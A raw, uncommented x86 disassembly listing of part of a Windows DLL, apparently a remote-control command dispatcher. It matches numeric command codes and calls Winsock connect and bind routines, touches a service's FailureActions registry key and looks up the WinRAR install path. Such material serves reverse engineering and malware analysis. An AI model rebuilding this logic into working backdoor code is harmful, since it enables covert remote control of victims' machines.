call fcn.100ae720
add esp, 0x1c
mov dword [ebp - 0x58], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x10028a88
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x5c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x10028ab4
push ebx
call fcn.100abdd7
add esp, 4
push 0
push 0
push 0
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x10028adc
mov eax, 0x100d424e
push eax
push 3
mov ebx, 0x270
call fcn.100add30
add esp, 0x28
mov dword [ebp - 0x60], eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x10028b08
push ebx
call fcn.100abdd7
add esp, 4
mov eax, dword [ebp - 0x60]
mov dword [0x100e6d0d], eax
cmp dword [0x100e6d0d], 0
jne 0x10028b7b
push reloc.WS2_32.dll_connect
push 0
push 0x100dce4c
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.700007
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10028b66
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10028b76
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push 0x80000301
push 0
push dword [0x100e6d0d]
push 1
mov ebx, 0x2bc
call fcn.100b2c80
add esp, 0x10
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x10028bcb
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
push 0x100dce53
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10028bfa
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10028c20
push ebx
call fcn.100abdd7
add esp, 4
lea eax, [ebp - 0x48]
push eax
mov eax, str.700007
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10028c45
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10028c55
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x10028dc8
push str._OK_
push dword [ebp - 0x20]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x10028dc8
push 0
push 0
push 0
push 0x80000301
push 0
push dword [0x100e6d0d]
push 2
mov ebx, 0x2b4
call fcn.100b2cd0
add esp, 0x1c
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jne 0x10028d68
push reloc.WS2_32.dll_connect
push 0
push 0x100dce5f
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0x80000301
push 0
push 0x19000
push 0x80000301
push 0
push dword [0x100e6d0d]
push 2
mov ebx, 0x294
call fcn.100b2e60
add esp, 0x1c
mov dword [ebp - 0x48], eax
push dword [ebp - 0x48]
push dword [ebp - 0x44]
mov ecx, 2
call fcn.1000565e
add esp, 8
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10028d1a
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10028d2a
push ebx
call fcn.100abdd7
add esp, 4
lea eax, [ebp - 0x4c]
push eax
mov eax, str.700007
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x50]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x10028d58
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10028d68
push ebx
call fcn.100abdd7
add esp, 4
push 0
push 0
push 0
push 0x80000301
push 0
push dword [0x100e6d0d]
push 2
mov ebx, 0x2b4
call fcn.100b2cd0
add esp, 0x1c
test eax, eax
je 0x10028dc8
push 0x80000301
push 0
push dword [0x100e6d0d]
push 1
mov ebx, 0x278
call fcn.100ae850
add esp, 0x10
mov dword [0x100e6d0d], 0
mov dword [0x100e6d11], 0
jmp 0x1002dd78
push str.800008
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x10029310
push 0x80000301
push 0
push 6
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10028e05
mov eax, 0x100d42b8
push eax
push 2
mov ebx, 0x1a0
call fcn.100ad2f0
add esp, 0x1c
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10028e2e
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10028e54
push ebx
call fcn.100abdd7
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10028e68
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
push 0x100dce5f
push dword [ebp - 0x20]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x10029035
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10028e98
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x194
call fcn.100ad2e0
add esp, 0x10
mov dword [ebp - 0x4c], eax
fild dword [ebp - 0x4c]
fstp qword [ebp - 0x4c]
fld qword [ebp - 0x4c]
fsub qword [0x100d445e]
fstp qword [ebp - 0x54]
fld qword [ebp - 0x54]
call fcn.10001713
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10028ee9
mov eax, 0x100d42b8
push eax
push 2
mov ebx, 0x1a4
call fcn.100ae720
add esp, 0x1c
mov dword [ebp - 0x58], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x10028f18
mov eax, 0x100d42b8
push eax
push 0x80000301
push 0
push dword [0x100e6d15]
push 2
mov ebx, 0x298
call fcn.100b2fc0
add esp, 0x1c
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x10028f4b
push ebx
call fcn.100abdd7
add esp, 4
push 0x80000301
push 0
push dword [0x100e6d15]
push 1
mov ebx, 0x2bc
call fcn.100b2c80
add esp, 0x10
mov dword [0x100e6d19], eax
push 0x80000301
push 0
push dword [0x100e6d19]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push dword [ebp - 0x44]
push str._ok___
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10028fb9
push ebx
call fcn.100abdd7
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x10028fcc
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10028ff2
push ebx
call fcn.100abdd7
add esp, 4
lea eax, [ebp - 0x4c]
push eax
mov eax, str.800008
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x50]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x10029020
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10029030
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x100292a6
push 0x100dce45
push dword [ebp - 0x20]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x100292a6
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10029061
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d43a1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x1002909c
mov eax, 0x100d424e
push eax
push 3
mov ebx, 0x190
call fcn.100ad930
add esp, 0x28
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100290c2
push ebx
call fcn.100abdd7
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x100290e4
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x100290e0
imul eax, dword [ebx]
jmp 0x100290d5
mov ecx, eax
test ecx, ecx
je 0x10029103
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x100290fc
push ebx
push eax
call fcn.100abdd7
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x100290ea
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 2
cmp eax, ecx
jl 0x10029137
push 0x237a
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 0
push 0
push 0
push 0x80000301
push 0
push 5
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
test eax, eax
jne 0x10029166
mov eax, 0x100d424e
push eax
push 3
mov ebx, 0x270
call fcn.100add30
add esp, 0x28
mov dword [0x100e6d15], eax
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 1
cmp eax, ecx
jl 0x100291a6
push 0x23ba
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
test eax, eax
jne 0x100291c3
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x9dc
call fcn.100ad5c0
add esp, 0x10
mov dword [0x100e6d1d], eax
mov dword [0x100e6d19], 0
push 0x80000301
push 0
push dword [0x100e6d19]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push dword [ebp - 0x44]
push str._ok___
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002922f
push ebx
call fcn.100abdd7
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x10029242
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10029268
push ebx
call fcn.100abdd7
add esp, 4
lea eax, [ebp - 0x4c]
push eax
mov eax, str.800008
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x50]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x10029296
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x100292a6
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [0x100e6d1d], 0
je 0x100292cb
mov eax, dword [0x100e6d19]
cmp dword [0x100e6d1d], eax
jne 0x100292cb
mov eax, 1
jmp 0x100292d0
mov eax, 0
test eax, eax
je 0x1002930b
push 0x80000301
push 0
push dword [0x100e6d15]
push 1
mov ebx, 0x278
call fcn.100ae850
add esp, 0x10
mov dword [0x100e6d15], 0
mov dword [0x100e6d1d], 0
jmp 0x1002dd78
push str.900009
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x100293a6
push reloc.WS2_32.dll_connect
push 0
push str.900009
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
push dword [ebp - 0x14]
push dword [ebp - 0x44]
mov ecx, 2
call fcn.1000565e
add esp, 8
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10029370
push ebx
call fcn.100abdd7
add esp, 4
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
lea eax, [ebp - 0x48]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x100293a1
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110011
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x100294a2
push str.FailureActions
push dword [0x100e6c7d]
push str.SYSTEMCurrentControlSetServices_
mov ecx, 3
call fcn.100010a5
add esp, 0xc
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x100293f2
mov eax, 0x100d424e
push eax
push 0x80000301
push 0
push 4
push 2
mov ebx, 0x6a8
call fcn.100b31d0
add esp, 0x1c
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10029421
push ebx
call fcn.100abdd7
add esp, 4
push reloc.WS2_32.dll_connect
push 0
push str.110011
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10029473
push ebx
call fcn.100abdd7
add esp, 4
push dword [0x100e6ca1]
call fcn.10033d83
push dword [ebp + 8]
call fcn.100032b0
call fcn.10033e7e
call fcn.10001f54
mov dword [ebp - 0x44], eax
push 1
push dword [ebp - 0x44]
call fcn.100033ab
jmp 0x1002dd78
push str.110080
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x100294ea
mov eax, str.baidu.com
push eax
mov ebx, dword [0x100e6c89]
test ebx, ebx
je 0x100294d4
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [0x100e6c89], eax
push dword [0x100e6cb1]
call fcn.100032b0
jmp 0x1002dd78
push str.110012
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x100296c2
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10029516
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0x100dce9c
push dword [ebp - 0x44]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002955a
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x10029598
push reloc.WS2_32.dll_bind
push 0
push 1
push 0x80000301
push 0
push 2
push 2
mov ebx, 0x20
mov eax, 0x100b70d0
call fcn.100acb10
add esp, 0x1c
jmp 0x100296bd
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100295ab
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0x100dcea1
push dword [ebp - 0x44]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100295ef
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x1002962d
push reloc.WS2_32.dll_bind
push 0
push 1
push 0x80000301
push 0
push 1
push 2
mov ebx, 0x20
mov eax, 0x100b70d0
call fcn.100acb10
add esp, 0x1c
jmp 0x100296bd
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10029640
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0x100dcea6
push dword [ebp - 0x44]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10029684
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x100296bd
push reloc.WS2_32.dll_bind
push 0
push 1
push 0x80000301
push 0
push 3
push 2
mov ebx, 0x20
mov eax, 0x100b70d0
call fcn.100acb10
add esp, 0x1c
jmp 0x1002dd78
push str.110013
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x10029732
push reloc.WS2_32.dll_connect
push 0
push str.110013
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002972d
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110015
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x100297a2
push reloc.WS2_32.dll_connect
push 0
push str.110015
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002979d
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110016
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x10029812
push reloc.WS2_32.dll_connect
push 0
push str.110016
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002980d
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110017
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x100298f3
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionApp_PathsWinRAR.exe_
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x698
call fcn.100b0170
add esp, 0x28
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [0x100e6d21]
test ebx, ebx
je 0x10029875
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [0x100e6d21], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002988e
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [0x100e6d25]
test ebx, ebx
je 0x100298bb
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [0x100e6d25], eax
mov ebx, 6
call fcn.10005656
push reloc.WS2_32.dll_getsockname
push 0
push 0x1003db5b
push 3
mov ebx, 0
mov eax, 0x100b7880
call fcn.100acb10
add esp, 0x28
jmp 0x1002dd78
push str.110018
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x10029b7d
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionApp_PathsWinRAR.exe_
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x698
call fcn.100b0170
add esp, 0x28
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [0x100e6d21]
test ebx, ebx
je 0x10029956
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [0x100e6d21], eax
push 0x100d424e
push dword [0x100e6d21]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x10029a78
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002998b
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100299b4
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.1002424b
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x100299e6
push ebx
call fcn.100abdd7
add esp, 4
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x44]
push eax
push 0x100e6d29
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x10]
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10029a0d
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10029a1d
push ebx
call fcn.100abdd7
add esp, 4
push reloc.WS2_32.dll_connect
push 0
push 0x100dcef9
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110020
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10029a63
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10029a73
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10029a8b
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10029ab4
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.1002424b
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10029ae6
push ebx
call fcn.100abdd7
add esp, 4
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.10033f4a
mov ebx, eax
test ebx, ebx
je 0x10029b02
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10029b12
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10029b22
push ebx
call fcn.100abdd7
add esp, 4
push reloc.WS2_32.dll_connect
push 0
push 0x100dcf0e
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110020
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10029b68
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10029b78
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110019
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x10029dc9
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10029ba9
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d439f
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10029be4
mov eax, 0x100d424e
push eax
push 3
mov ebx, 0x190
call fcn.100ad930
add esp, 0x28
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10029c0a
push ebx
call fcn.100abdd7
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x10029c2c
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x10029c28
imul eax, dword [ebx]
jmp 0x10029c1d
mov ecx, eax
test ecx, ecx
je 0x10029c4b
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x10029c44
push ebx
push eax
call fcn.100abdd7
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x10029c32
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
push ebx
push ecx
mov ebx, dword [ebp - 0x1c]
call fcn.10002428
dec eax
jns 0x10029c83
push 0x2e8b
push 0x403116f
push 4
call fcn.100abddd
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10029ca0
push 0x2e8b
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x48], ebx
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d4387
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x48]
mov eax, dword [ebx]
test eax, eax
jne 0x10029cdb
mov eax, 0x100d424e
push eax
push 4
mov ebx, 0x148
call fcn.100acbb0
add esp, 0x34
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0xffffffff
jne 0x10029d65
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10029d14
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10029d3d
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x238
call fcn.100b34f0
add esp, 0x10
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10029d60
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x10029dc4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10029d78
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10029da1
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x244
call fcn.100b3530
add esp, 0x10
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10029dc4
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110021
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x10029f46
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10029df5
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d43a1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10029e30
mov eax, 0x100d424e
push eax
push 3
mov ebx, 0x190
call fcn.100ad930
add esp, 0x28
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10029e56
push ebx
call fcn.100abdd7
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x10029e78
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x10029e74
imul eax, dword [ebx]
jmp 0x10029e69
mov ecx, eax
test ecx, ecx
je 0x10029e97
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x10029e90
push ebx
push eax
call fcn.100abdd7
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
